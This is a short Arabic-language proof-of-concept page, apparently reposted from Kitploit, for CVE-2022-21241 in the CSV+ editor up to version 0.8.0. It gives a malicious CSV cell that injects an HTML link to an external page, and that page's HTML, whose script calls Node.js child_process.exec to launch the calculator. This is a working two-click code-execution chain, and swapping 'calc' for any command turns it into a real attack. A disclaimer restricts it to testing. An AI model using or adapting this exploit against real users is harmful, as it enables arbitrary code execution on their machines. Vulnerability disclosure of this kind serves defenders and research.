csv-plus_vulnerability — 👻 [PoC] CSV+ 0.8.0 - تنفيذ كود تعسفي (CVE-2022-21241) | Kitploit

csv-plus_vulnerability

👻 ثغرة تنفيذ كود اعتباطي بنقرتين.

CVE-2022-21241

⚠
تم إنشاء هذا الـ PoC لتنبيه المستخدمين والتحقيق في الثغرات الموجودة في CSV+ الخاص بهم، ويُحظر استخدامه في الهجمات.

الثغرة

الإصدارات التالية معرضة للخطر.

CSV+ <= 0.8.0

يمكن للمهاجمين تنفيذ كود اعتباطي باستخدام وظائف Node.js. سيضعون كود الجافاسكربت الخبيث على موقع ما ويربطونه من وسوم a مستغلين ثغرة حقن HTML في CSV+.

PoC

ملف csv خبيث

<a href='https://electronooooo.htmlbin.net/xsscalc.html'>click me 👻</a>

https://electronooooo.htmlbin.net/xsscalc.html هو رابط مؤقت.

ملف html خبيث (calc)

<!DOCTYPE html>
<html>
    <head>
        <script>
            var cmd = "calc";
            require("child_process").exec(cmd);
        </script>
    </head>
    <body>
        Hi :)
    </body>
</html>

تنزيل الأداة